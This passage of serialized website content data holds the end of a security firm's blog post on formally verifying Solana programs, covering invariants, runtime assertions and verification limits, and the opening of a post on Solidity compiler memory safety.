64},{"class":85,"line":256},[27865],{"type":24,"tag":83,"props":27866,"children":27867},{"style":107},[27868],{"type":29,"value":20510},{"type":24,"tag":83,"props":27870,"children":27871},{"class":85,"line":270},[27872,27877,27881],{"type":24,"tag":83,"props":27873,"children":27874},{"style":107},[27875],{"type":29,"value":27876},"#[invariant(bad ",{"type":24,"tag":83,"props":27878,"children":27879},{"style":143},[27880],{"type":29,"value":8320},{"type":24,"tag":83,"props":27882,"children":27883},{"style":107},[27884],{"type":29,"value":27885}," false)]\n",{"type":24,"tag":83,"props":27887,"children":27888},{"class":85,"line":302},[27889,27893,27898],{"type":24,"tag":83,"props":27890,"children":27891},{"style":90},[27892],{"type":29,"value":9148},{"type":24,"tag":83,"props":27894,"children":27895},{"style":3163},[27896],{"type":29,"value":27897}," Acc",{"type":24,"tag":83,"props":27899,"children":27900},{"style":107},[27901],{"type":29,"value":125},{"type":24,"tag":83,"props":27903,"children":27904},{"class":85,"line":324},[27905,27909,27914,27918],{"type":24,"tag":83,"props":27906,"children":27907},{"style":90},[27908],{"type":29,"value":20583},{"type":24,"tag":83,"props":27910,"children":27911},{"style":137},[27912],{"type":29,"value":27913}," bad",{"type":24,"tag":83,"props":27915,"children":27916},{"style":143},[27917],{"type":29,"value":195},{"type":24,"tag":83,"props":27919,"children":27920},{"style":3163},[27921],{"type":29,"value":27922}," bool\n",{"type":24,"tag":83,"props":27924,"children":27925},{"class":85,"line":345},[27926],{"type":24,"tag":83,"props":27927,"children":27928},{"style":107},[27929],{"type":29,"value":464},{"type":24,"tag":83,"props":27931,"children":27932},{"class":85,"line":358},[27933],{"type":24,"tag":83,"props":27934,"children":27935},{"emptyLinePlaceholder":16},[27936],{"type":29,"value":3422},{"type":24,"tag":83,"props":27938,"children":27939},{"class":85,"line":367},[27940,27945,27949],{"type":24,"tag":83,"props":27941,"children":27942},{"style":90},[27943],{"type":29,"value":27944},"impl",{"type":24,"tag":83,"props":27946,"children":27947},{"style":3163},[27948],{"type":29,"value":27897},{"type":24,"tag":83,"props":27950,"children":27951},{"style":107},[27952],{"type":29,"value":125},{"type":24,"tag":83,"props":27954,"children":27955},{"class":85,"line":406},[27956,27960,27964,27969],{"type":24,"tag":83,"props":27957,"children":27958},{"style":90},[27959],{"type":29,"value":20583},{"type":24,"tag":83,"props":27961,"children":27962},{"style":90},[27963],{"type":29,"value":13440},{"type":24,"tag":83,"props":27965,"children":27966},{"style":101},[27967],{"type":29,"value":27968}," put_into_bad_state",{"type":24,"tag":83,"props":27970,"children":27971},{"style":107},[27972],{"type":29,"value":110},{"type":24,"tag":83,"props":27974,"children":27975},{"class":85,"line":427},[27976,27980,27984,27989,27993,27997],{"type":24,"tag":83,"props":27977,"children":27978},{"style":90},[27979],{"type":29,"value":27109},{"type":24,"tag":83,"props":27981,"children":27982},{"style":143},[27983],{"type":29,"value":161},{"type":24,"tag":83,"props":27985,"children":27986},{"style":107},[27987],{"type":29,"value":27988},"bad ",{"type":24,"tag":83,"props":27990,"children":27991},{"style":143},[27992],{"type":29,"value":1275},{"type":24,"tag":83,"props":27994,"children":27995},{"style":90},[27996],{"type":29,"value":12215},{"type":24,"tag":83,"props":27998,"children":27999},{"style":107},[28000],{"type":29,"value":321},{"type":24,"tag":83,"props":28002,"children":28003},{"class":85,"line":440},[28004],{"type":24,"tag":83,"props":28005,"children":28006},{"style":107},[28007],{"type":29,"value":446},{"type":24,"tag":83,"props":28009,"children":28010},{"class":85,"line":449},[28011],{"type":24,"tag":83,"props":28012,"children":28013},{"style":107},[28014],{"type":29,"value":464},{"type":24,"tag":83,"props":28016,"children":28017},{"class":85,"line":458},[28018],{"type":24,"tag":83,"props":28019,"children":28020},{"emptyLinePlaceholder":16},[28021],{"type":29,"value":3422},{"type":24,"tag":83,"props":28023,"children":28024},{"class":85,"line":1065},[28025],{"type":24,"tag":83,"props":28026,"children":28027},{"style":2735},[28028],{"type":29,"value":28029},"// Instruction handler:\n",{"type":24,"tag":83,"props":28031,"children":28032},{"class":85,"line":1668},[28033,28037,28042,28046,28050,28054,28058,28062,28067,28071,28075,28079],{"type":24,"tag":83,"props":28034,"children":28035},{"style":90},[28036],{"type":29,"value":20007},{"type":24,"tag":83,"props":28038,"children":28039},{"style":101},[28040],{"type":29,"value":28041}," hard_to_verify",{"type":24,"tag":83,"props":28043,"children":28044},{"style":107},[28045],{"type":29,"value":558},{"type":24,"tag":83,"props":28047,"children":28048},{"style":137},[28049],{"type":29,"value":20021},{"type":24,"tag":83,"props":28051,"children":28052},{"style":143},[28053],{"type":29,"value":195},{"type":24,"tag":83,"props":28055,"children":28056},{"style":3163},[28057],{"type":29,"value":20030},{"type":24,"tag":83,"props":28059,"children":28060},{"style":107},[28061],{"type":29,"value":5552},{"type":24,"tag":83,"props":28063,"children":28064},{"style":3163},[28065],{"type":29,"value":28066},"MyCtx",{"type":24,"tag":83,"props":28068,"children":28069},{"style":107},[28070],{"type":29,"value":20187},{"type":24,"tag":83,"props":28072,"children":28073},{"style":143},[28074],{"type":29,"value":13502},{"type":24,"tag":83,"props":28076,"children":28077},{"style":3163},[28078],{"type":29,"value":13507},{"type":24,"tag":83,"props":28080,"children":28081},{"style":107},[28082],{"type":29,"value":20072},{"type":24,"tag":83,"props":28084,"children":28085},{"class":85,"line":1713},[28086,28091,28095,28099,28104],{"type":24,"tag":83,"props":28087,"children":28088},{"style":101},[28089],{"type":29,"value":28090},"    invoke_signed",{"type":24,"tag":83,"props":28092,"children":28093},{"style":107},[28094],{"type":29,"value":558},{"type":24,"tag":83,"props":28096,"children":28097},{"style":143},[28098],{"type":29,"value":509},{"type":24,"tag":83,"props":28100,"children":28101},{"style":107},[28102],{"type":29,"value":28103},"); ",{"type":24,"tag":83,"props":28105,"children":28106},{"style":2735},[28107],{"type":29,"value":28108},"// Cross-program invocation\n",{"type":24,"tag":83,"props":28110,"children":28111},{"class":85,"line":1730},[28112],{"type":24,"tag":83,"props":28113,"children":28114},{"emptyLinePlaceholder":16},[28115],{"type":29,"value":3422},{"type":24,"tag":83,"props":28117,"children":28118},{"class":85,"line":1770},[28119,28123,28128,28132,28136,28140],{"type":24,"tag":83,"props":28120,"children":28121},{"style":90},[28122],{"type":29,"value":2746},{"type":24,"tag":83,"props":28124,"children":28125},{"style":137},[28126],{"type":29,"value":28127}," invoke_res",{"type":24,"tag":83,"props":28129,"children":28130},{"style":143},[28131],{"type":29,"value":146},{"type":24,"tag":83,"props":28133,"children":28134},{"style":143},[28135],{"type":29,"value":25050},{"type":24,"tag":83,"props":28137,"children":28138},{"style":107},[28139],{"type":29,"value":16963},{"type":24,"tag":83,"props":28141,"children":28142},{"style":2735},[28143],{"type":29,"value":28144},"// fetch result of invocation\n",{"type":24,"tag":83,"props":28146,"children":28147},{"class":85,"line":1778},[28148,28152,28156,28160,28165],{"type":24,"tag":83,"props":28149,"children":28150},{"style":117},[28151],{"type":29,"value":218},{"type":24,"tag":83,"props":28153,"children":28154},{"style":137},[28155],{"type":29,"value":28127},{"type":24,"tag":83,"props":28157,"children":28158},{"style":143},[28159],{"type":29,"value":3028},{"type":24,"tag":83,"props":28161,"children":28162},{"style":245},[28163],{"type":29,"value":28164}," 5",{"type":24,"tag":83,"props":28166,"children":28167},{"style":107},[28168],{"type":29,"value":125},{"type":24,"tag":83,"props":28170,"children":28171},{"class":85,"line":1803},[28172,28176,28180,28185,28189,28194,28199],{"type":24,"tag":83,"props":28173,"children":28174},{"style":137},[28175],{"type":29,"value":25935},{"type":24,"tag":83,"props":28177,"children":28178},{"style":143},[28179],{"type":29,"value":161},{"type":24,"tag":83,"props":28181,"children":28182},{"style":107},[28183],{"type":29,"value":28184},"my_account",{"type":24,"tag":83,"props":28186,"children":28187},{"style":143},[28188],{"type":29,"value":161},{"type":24,"tag":83,"props":28190,"children":28191},{"style":101},[28192],{"type":29,"value":28193},"put_into_bad_state",{"type":24,"tag":83,"props":28195,"children":28196},{"style":107},[28197],{"type":29,"value":28198},"(); ",{"type":24,"tag":83,"props":28200,"children":28201},{"style":2735},[28202],{"type":29,"value":28203},"// corrupt our account\n",{"type":24,"tag":83,"props":28205,"children":28206},{"class":85,"line":1811},[28207],{"type":24,"tag":83,"props":28208,"children":28209},{"style":107},[28210],{"type":29,"value":446},{"type":24,"tag":83,"props":28212,"children":28213},{"class":85,"line":8792},[28214,28218],{"type":24,"tag":83,"props":28215,"children":28216},{"style":3163},[28217],{"type":29,"value":14076},{"type":24,"tag":83,"props":28219,"children":28220},{"style":107},[28221],{"type":29,"value":14081},{"type":24,"tag":83,"props":28223,"children":28224},{"class":85,"line":8810},[28225],{"type":24,"tag":83,"props":28226,"children":28227},{"style":107},[28228],{"type":29,"value":464},{"type":24,"tag":25,"props":28230,"children":28231},{},[28232,28234,28239],{"type":29,"value":28233},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":24,"tag":32,"props":28235,"children":28237},{"className":28236},[],[28238],{"type":29,"value":28184},{"type":29,"value":28240},") will be maintained as long as the instruction succeeds.",{"type":24,"tag":25,"props":28242,"children":28243},{},[28244],{"type":29,"value":28245},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":24,"tag":25,"props":28247,"children":28248},{},[28249,28251,28256],{"type":29,"value":28250},"However, we can ",{"type":24,"tag":2655,"props":28252,"children":28253},{},[28254],{"type":29,"value":28255},"augment",{"type":29,"value":28257}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":24,"tag":25,"props":28259,"children":28260},{},[28261],{"type":29,"value":28262},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":24,"tag":73,"props":28264,"children":28266},{"code":28265,"language":2724,"meta":7,"className":2725,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[28267],{"type":24,"tag":32,"props":28268,"children":28269},{"__ignoreMap":7},[28270,28278,28329,28352,28359,28386,28409,28440,28447,28454,28462,28497,28504,28515],{"type":24,"tag":83,"props":28271,"children":28272},{"class":85,"line":86},[28273],{"type":24,"tag":83,"props":28274,"children":28275},{"style":143},[28276],{"type":29,"value":28277},"...\n",{"type":24,"tag":83,"props":28279,"children":28280},{"class":85,"line":113},[28281,28285,28289,28293,28297,28301,28305,28309,28313,28317,28321,28325],{"type":24,"tag":83,"props":28282,"children":28283},{"style":90},[28284],{"type":29,"value":20007},{"type":24,"tag":83,"props":28286,"children":28287},{"style":101},[28288],{"type":29,"value":28041},{"type":24,"tag":83,"props":28290,"children":28291},{"style":107},[28292],{"type":29,"value":558},{"type":24,"tag":83,"props":28294,"children":28295},{"style":137},[28296],{"type":29,"value":20021},{"type":24,"tag":83,"props":28298,"children":28299},{"style":143},[28300],{"type":29,"value":195},{"type":24,"tag":83,"props":28302,"children":28303},{"style":3163},[28304],{"type":29,"value":20030},{"type":24,"tag":83,"props":28306,"children":28307},{"style":107},[28308],{"type":29,"value":5552},{"type":24,"tag":83,"props":28310,"children":28311},{"style":3163},[28312],{"type":29,"value":28066},{"type":24,"tag":83,"props":28314,"children":28315},{"style":107},[28316],{"type":29,"value":20187},{"type":24,"tag":83,"props":28318,"children":28319},{"style":143},[28320],{"type":29,"value":13502},{"type":24,"tag":83,"props":28322,"children":28323},{"style":3163},[28324],{"type":29,"value":13507},{"type":24,"tag":83,"props":28326,"children":28327},{"style":107},[28328],{"type":29,"value":20072},{"type":24,"tag":83,"props":28330,"children":28331},{"class":85,"line":128},[28332,28336,28340,28344,28348],{"type":24,"tag":83,"props":28333,"children":28334},{"style":101},[28335],{"type":29,"value":28090},{"type":24,"tag":83,"props":28337,"children":28338},{"style":107},[28339],{"type":29,"value":558},{"type":24,"tag":83,"props":28341,"children":28342},{"style":143},[28343],{"type":29,"value":509},{"type":24,"tag":83,"props":28345,"children":28346},{"style":107},[28347],{"type":29,"value":28103},{"type":24,"tag":83,"props":28349,"children":28350},{"style":2735},[28351],{"type":29,"value":28108},{"type":24,"tag":83,"props":28353,"children":28354},{"class":85,"line":183},[28355],{"type":24,"tag":83,"props":28356,"children":28357},{"emptyLinePlaceholder":16},[28358],{"type":29,"value":3422},{"type":24,"tag":83,"props":28360,"children":28361},{"class":85,"line":203},[28362,28366,28370,28374,28378,28382],{"type":24,"tag":83,"props":28363,"children":28364},{"style":90},[28365],{"type":29,"value":2746},{"type":24,"tag":83,"props":28367,"children":28368},{"style":137},[28369],{"type":29,"value":28127},{"type":24,"tag":83,"props":28371,"children":28372},{"style":143},[28373],{"type":29,"value":146},{"type":24,"tag":83,"props":28375,"children":28376},{"style":143},[28377],{"type":29,"value":25050},{"type":24,"tag":83,"props":28379,"children":28380},{"style":107},[28381],{"type":29,"value":16963},{"type":24,"tag":83,"props":28383,"children":28384},{"style":2735},[28385],{"type":29,"value":28144},{"type":24,"tag":83,"props":28387,"children":28388},{"class":85,"line":212},[28389,28393,28397,28401,28405],{"type":24,"tag":83,"props":28390,"children":28391},{"style":117},[28392],{"type":29,"value":218},{"type":24,"tag":83,"props":28394,"children":28395},{"style":137},[28396],{"type":29,"value":28127},{"type":24,"tag":83,"props":28398,"children":28399},{"style":143},[28400],{"type":29,"value":3028},{"type":24,"tag":83,"props":28402,"children":28403},{"style":245},[28404],{"type":29,"value":28164},{"type":24,"tag":83,"props":28406,"children":28407},{"style":107},[28408],{"type":29,"value":125},{"type":24,"tag":83,"props":28410,"children":28411},{"class":85,"line":256},[28412,28416,28420,28424,28428,28432,28436],{"type":24,"tag":83,"props":28413,"children":28414},{"style":137},[28415],{"type":29,"value":25935},{"type":24,"tag":83,"props":28417,"children":28418},{"style":143},[28419],{"type":29,"value":161},{"type":24,"tag":83,"props":28421,"children":28422},{"style":107},[28423],{"type":29,"value":28184},{"type":24,"tag":83,"props":28425,"children":28426},{"style":143},[28427],{"type":29,"value":161},{"type":24,"tag":83,"props":28429,"children":28430},{"style":101},[28431],{"type":29,"value":28193},{"type":24,"tag":83,"props":28433,"children":28434},{"style":107},[28435],{"type":29,"value":28198},{"type":24,"tag":83,"props":28437,"children":28438},{"style":2735},[28439],{"type":29,"value":28203},{"type":24,"tag":83,"props":28441,"children":28442},{"class":85,"line":270},[28443],{"type":24,"tag":83,"props":28444,"children":28445},{"style":107},[28446],{"type":29,"value":446},{"type":24,"tag":83,"props":28448,"children":28449},{"class":85,"line":302},[28450],{"type":24,"tag":83,"props":28451,"children":28452},{"emptyLinePlaceholder":16},[28453],{"type":29,"value":3422},{"type":24,"tag":83,"props":28455,"children":28456},{"class":85,"line":324},[28457],{"type":24,"tag":83,"props":28458,"children":28459},{"style":2735},[28460],{"type":29,"value":28461},"    // Enforce invariants at runtime\n",{"type":24,"tag":83,"props":28463,"children":28464},{"class":85,"line":345},[28465,28469,28473,28477,28481,28485,28489,28493],{"type":24,"tag":83,"props":28466,"children":28467},{"style":101},[28468],{"type":29,"value":18979},{"type":24,"tag":83,"props":28470,"children":28471},{"style":107},[28472],{"type":29,"value":558},{"type":24,"tag":83,"props":28474,"children":28475},{"style":137},[28476],{"type":29,"value":20021},{"type":24,"tag":83,"props":28478,"children":28479},{"style":143},[28480],{"type":29,"value":161},{"type":24,"tag":83,"props":28482,"children":28483},{"style":107},[28484],{"type":29,"value":28184},{"type":24,"tag":83,"props":28486,"children":28487},{"style":143},[28488],{"type":29,"value":161},{"type":24,"tag":83,"props":28490,"children":28491},{"style":101},[28492],{"type":29,"value":21518},{"type":24,"tag":83,"props":28494,"children":28495},{"style":107},[28496],{"type":29,"value":15164},{"type":24,"tag":83,"props":28498,"children":28499},{"class":85,"line":358},[28500],{"type":24,"tag":83,"props":28501,"children":28502},{"emptyLinePlaceholder":16},[28503],{"type":29,"value":3422},{"type":24,"tag":83,"props":28505,"children":28506},{"class":85,"line":367},[28507,28511],{"type":24,"tag":83,"props":28508,"children":28509},{"style":3163},[28510],{"type":29,"value":14076},{"type":24,"tag":83,"props":28512,"children":28513},{"style":107},[28514],{"type":29,"value":14081},{"type":24,"tag":83,"props":28516,"children":28517},{"class":85,"line":406},[28518],{"type":24,"tag":83,"props":28519,"children":28520},{"style":107},[28521],{"type":29,"value":464},{"type":24,"tag":25,"props":28523,"children":28524},{},[28525,28527,28532,28534,28539,28541,28546],{"type":29,"value":28526},"Here, we explicitly ",{"type":24,"tag":32,"props":28528,"children":28530},{"className":28529},[],[28531],{"type":29,"value":19724},{"type":29,"value":28533}," that our invariants hold at ",{"type":24,"tag":2655,"props":28535,"children":28536},{},[28537],{"type":29,"value":28538},"runtime",{"type":29,"value":28540}," which allows us to be assured that ",{"type":24,"tag":32,"props":28542,"children":28544},{"className":28543},[],[28545],{"type":29,"value":28184},{"type":29,"value":28547}," will not enter a bad state as a result of some unverifiable behavior.",{"type":24,"tag":25,"props":28549,"children":28550},{},[28551],{"type":29,"value":28552},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":24,"tag":51,"props":28554,"children":28556},{"id":28555},"challenges-of-formal-verification-on-solana",[28557],{"type":29,"value":28558},"Challenges of formal verification on Solana",{"type":24,"tag":1818,"props":28560,"children":28562},{"id":28561},"expensive-computation",[28563],{"type":29,"value":28564},"Expensive computation",{"type":24,"tag":25,"props":28566,"children":28567},{},[28568,28570,28575],{"type":29,"value":28569},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":24,"tag":2655,"props":28571,"children":28572},{},[28573],{"type":29,"value":28574},"path explosion",{"type":29,"value":28576},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":24,"tag":25,"props":28578,"children":28579},{},[28580,28582,28587],{"type":29,"value":28581},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":24,"tag":2655,"props":28583,"children":28584},{},[28585],{"type":29,"value":28586},"formal verification friendly",{"type":29,"value":28588},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":24,"tag":25,"props":28590,"children":28591},{},[28592,28594,28599,28601,28606],{"type":29,"value":28593},"For example, when verifying things like the uniqueness of a ",{"type":24,"tag":32,"props":28595,"children":28597},{"className":28596},[],[28598],{"type":29,"value":21138},{"type":29,"value":28600}," in a ",{"type":24,"tag":32,"props":28602,"children":28604},{"className":28603},[],[28605],{"type":29,"value":16947},{"type":29,"value":28607},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":24,"tag":25,"props":28609,"children":28610},{},[28611,28613,28618,28620,28625,28627,28632,28634,28639,28641,28646,28648,28653],{"type":29,"value":28612},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":24,"tag":32,"props":28614,"children":28616},{"className":28615},[],[28617],{"type":29,"value":16947},{"type":29,"value":28619}," or a 32-byte ",{"type":24,"tag":32,"props":28621,"children":28623},{"className":28622},[],[28624],{"type":29,"value":21138},{"type":29,"value":28626},". Instead, our tool can substitute in ",{"type":24,"tag":2655,"props":28628,"children":28629},{},[28630],{"type":29,"value":28631},"cheaper",{"type":29,"value":28633}," types and functions, such as a 4-byte ",{"type":24,"tag":32,"props":28635,"children":28637},{"className":28636},[],[28638],{"type":29,"value":21138},{"type":29,"value":28640}," struct and a fixed-size, array-backed ",{"type":24,"tag":32,"props":28642,"children":28644},{"className":28643},[],[28645],{"type":29,"value":16947},{"type":29,"value":28647}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":24,"tag":2655,"props":28649,"children":28650},{},[28651],{"type":29,"value":28652},"much",{"type":29,"value":28654}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":24,"tag":25,"props":28656,"children":28657},{},[28658],{"type":29,"value":28659},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":24,"tag":1818,"props":28661,"children":28663},{"id":28662},"runtime-environment",[28664],{"type":29,"value":28665},"Runtime Environment",{"type":24,"tag":25,"props":28667,"children":28668},{},[28669],{"type":29,"value":28670},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":24,"tag":25,"props":28672,"children":28673},{},[28674],{"type":29,"value":28675},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":24,"tag":25,"props":28677,"children":28678},{},[28679],{"type":29,"value":28680},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":24,"tag":51,"props":28682,"children":28684},{"id":28683},"conclusion",[28685],{"type":29,"value":18686},{"type":24,"tag":25,"props":28687,"children":28688},{},[28689],{"type":29,"value":28690},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":24,"tag":25,"props":28692,"children":28693},{},[28694],{"type":29,"value":28695},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":24,"tag":18531,"props":28697,"children":28698},{},[],{"type":24,"tag":25,"props":28700,"children":28701},{},[28702],{"type":24,"tag":2655,"props":28703,"children":28704},{},[28705,28707,28712,28713,28717],{"type":29,"value":28706},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":24,"tag":2033,"props":28708,"children":28710},{"href":18614,"rel":28709},[2037],[28711],{"type":29,"value":18618},{"type":29,"value":18620},{"type":24,"tag":2033,"props":28714,"children":28715},{"href":18623},[28716],{"type":29,"value":18626},{"type":29,"value":161},{"type":24,"tag":2584,"props":28719,"children":28720},{},[28721],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":28723},[28724,28730,28734,28739,28745,28749],{"id":18689,"depth":113,"text":18692,"children":28725},[28726,28727,28728,28729],{"id":18695,"depth":128,"text":18698},{"id":18763,"depth":128,"text":18766},{"id":19644,"depth":128,"text":19647},{"id":19684,"depth":128,"text":19687},{"id":19737,"depth":113,"text":28731,"children":28732},"Specification: How can we describe what we want our program to do?",[28733],{"id":19851,"depth":128,"text":19854},{"id":21210,"depth":113,"text":21213,"children":28735},[28736,28737,28738],{"id":21887,"depth":128,"text":21890},{"id":22171,"depth":128,"text":22174},{"id":22315,"depth":128,"text":22318},{"id":22456,"depth":113,"text":22459,"children":28740},[28741,28742,28743,28744],{"id":22527,"depth":128,"text":22530},{"id":24389,"depth":128,"text":24392},{"id":25190,"depth":128,"text":22519},{"id":27715,"depth":128,"text":22524},{"id":28555,"depth":113,"text":28558,"children":28746},[28747,28748],{"id":28561,"depth":128,"text":28564},{"id":28662,"depth":128,"text":28665},{"id":28683,"depth":113,"text":18686},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":28754,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":28755,"description":28756,"author":5465,"image":28757,"date":28759,"isFeatured":16,"onBlogPage":16,"tags":28760,"body":28762,"_type":2606,"_id":30181,"_source":2608,"_file":30182,"_stem":30183,"_extension":2611},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":28758,"height":15,"width":15},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[4219,28761],"compiler",{"type":21,"children":28763,"toc":30172},[28764,28770,28806,28818,28824,28846,28859,29007,29028,29033,29054,29059,29067,29072,29077,29082,29088,29107,29112,29133,29196,29209,29239,29259,29286,29291,29304,29309,29314,29327,29358,29381,29535,29553,29604,29623,29648,29653,29659,29686,29706,29734,29739,29761,29780,29788,29799,29804,29820,30076,30084,30089,30093,30098,30103,30168],{"type":24,"tag":51,"props":28765,"children":28767},{"id":28766},"introduction",[28768],{"type":29,"value":28769},"Introduction",{"type":24,"tag":25,"props":28771,"children":28772},{},[28773,28775,28781,28782,28786,28788,28795,28797,28804],{"type":29,"value":28774},"What does ",{"type":24,"tag":32,"props":28776,"children":28778},{"className":28777},[],[28779],{"type":29,"value":28780},"memory-safe",{"type":29,"value":6204},{"type":24,"tag":2655,"props":28783,"children":28784},{},[28785],{"type":29,"value":9035},{"type":29,"value":28787}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":24,"tag":2033,"props":28789,"children":28792},{"href":28790,"rel":28791},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[2037],[28793],{"type":29,"value":28794},"presents some requirements",{"type":29,"value":28796},", but is production code that ",{"type":24,"tag":2033,"props":28798,"children":28801},{"href":28799,"rel":28800},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[2037],[28802],{"type":29,"value":28803},"violates these requirements",{"type":29,"value":28805}," necessarily unsafe?",{"type":24,"tag":25,"props":28807,"children":28808},{},[28809,28811,28816],{"type":29,"value":28810},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":24,"tag":2655,"props":28812,"children":28813},{},[28814],{"type":29,"value":28815},"memory-safety",{"type":29,"value":28817}," actually means.",{"type":24,"tag":51,"props":28819,"children":28821},{"id":28820},"compiler-pipeline",[28822],{"type":29,"value":28823},"Compiler Pipeline",{"type":24,"tag":25,"props":28825,"children":28826},{},[28827,28829,28836,28838,28845],{"type":29,"value":28828},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":24,"tag":2033,"props":28830,"children":28833},{"href":28831,"rel":28832},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[2037],[28834],{"type":29,"value":28835},"released in v0.8.13",{"type":29,"value":28837},". Compilation happens ",{"type":24,"tag":2033,"props":28839,"children":28842},{"href":28840,"rel":28841},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[2037],[28843],{"type":29,"value":28844},"in two main steps",{"type":29,"value":195},{"type":24,"tag":63,"props":28847,"children":28848},{},[28849,28854],{"type":24,"tag":67,"props":28850,"children":28851},{},[28852],{"type":29,"value":28853},"Solidity to YUL IR",{"type":24,"tag":67,"props":28855,"children":28856},{},[28857],{"type":29,"value":28858},"YUL IR to EVM opcodes",{"type":24,"tag":73,"props":28860,"children":28864},{"className":28861,"code":28862,"language":28863,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[28865],{"type":24,"tag":32,"props":28866,"children":28867},{"__ignoreMap":7},[28868,28898,28919,28931,28939,28951,28971,28979,29000],{"type":24,"tag":83,"props":28869,"children":28870},{"class":85,"line":86},[28871,28875,28880,28884,28889,28893],{"type":24,"tag":83,"props":28872,"children":28873},{"style":117},[28874],{"type":29,"value":218},{"type":24,"tag":83,"props":28876,"children":28877},{"style":107},[28878],{"type":29,"value":28879}," (m_viaIR ",{"type":24,"tag":83,"props":28881,"children":28882},{"style":143},[28883],{"type":29,"value":638},{"type":24,"tag":83,"props":28885,"children":28886},{"style":107},[28887],{"type":29,"value":28888}," m_generateIR ",{"type":24,"tag":83,"props":28890,"children":28891},{"style":143},[28892],{"type":29,"value":638},{"type":24,"tag":83,"props":28894,"children":28895},{"style":107},[28896],{"type":29,"value":28897}," m_generateEwasm)\n",{"type":24,"tag":83,"props":28899,"children":28900},{"class":85,"line":113},[28901,28906,28910,28914],{"type":24,"tag":83,"props":28902,"children":28903},{"style":101},[28904],{"type":29,"value":28905},"        generateIR",{"type":24,"tag":83,"props":28907,"children":28908},{"style":107},[28909],{"type":29,"value":558},{"type":24,"tag":83,"props":28911,"children":28912},{"style":143},[28913],{"type":29,"value":4315},{"type":24,"tag":83,"props":28915,"children":28916},{"style":107},[28917],{"type":29,"value":28918},"contract);\n",{"type":24,"tag":83,"props":28920,"children":28921},{"class":85,"line":128},[28922,28926],{"type":24,"tag":83,"props":28923,"children":28924},{"style":117},[28925],{"type":29,"value":218},{"type":24,"tag":83,"props":28927,"children":28928},{"style":107},[28929],{"type":29,"value":28930}," (m_generateEvmBytecode)\n",{"type":24,"tag":83,"props":28932,"children":28933},{"class":85,"line":183},[28934],{"type":24,"tag":83,"props":28935,"children":28936},{"style":107},[28937],{"type":29,"value":28938},"    {\n",{"type":24,"tag":83,"props":28940,"children":28941},{"class":85,"line":203},[28942,28946],{"type":24,"tag":83,"props":28943,"children":28944},{"style":117},[28945],{"type":29,"value":3018},{"type":24,"tag":83,"props":28947,"children":28948},{"style":107},[28949],{"type":29,"value":28950}," (m_viaIR)\n",{"type":24,"tag":83,"props":28952,"children":28953},{"class":85,"line":212},[28954,28959,28963,28967],{"type":24,"tag":83,"props":28955,"children":28956},{"style":101},[28957],{"type":29,"value":28958},"            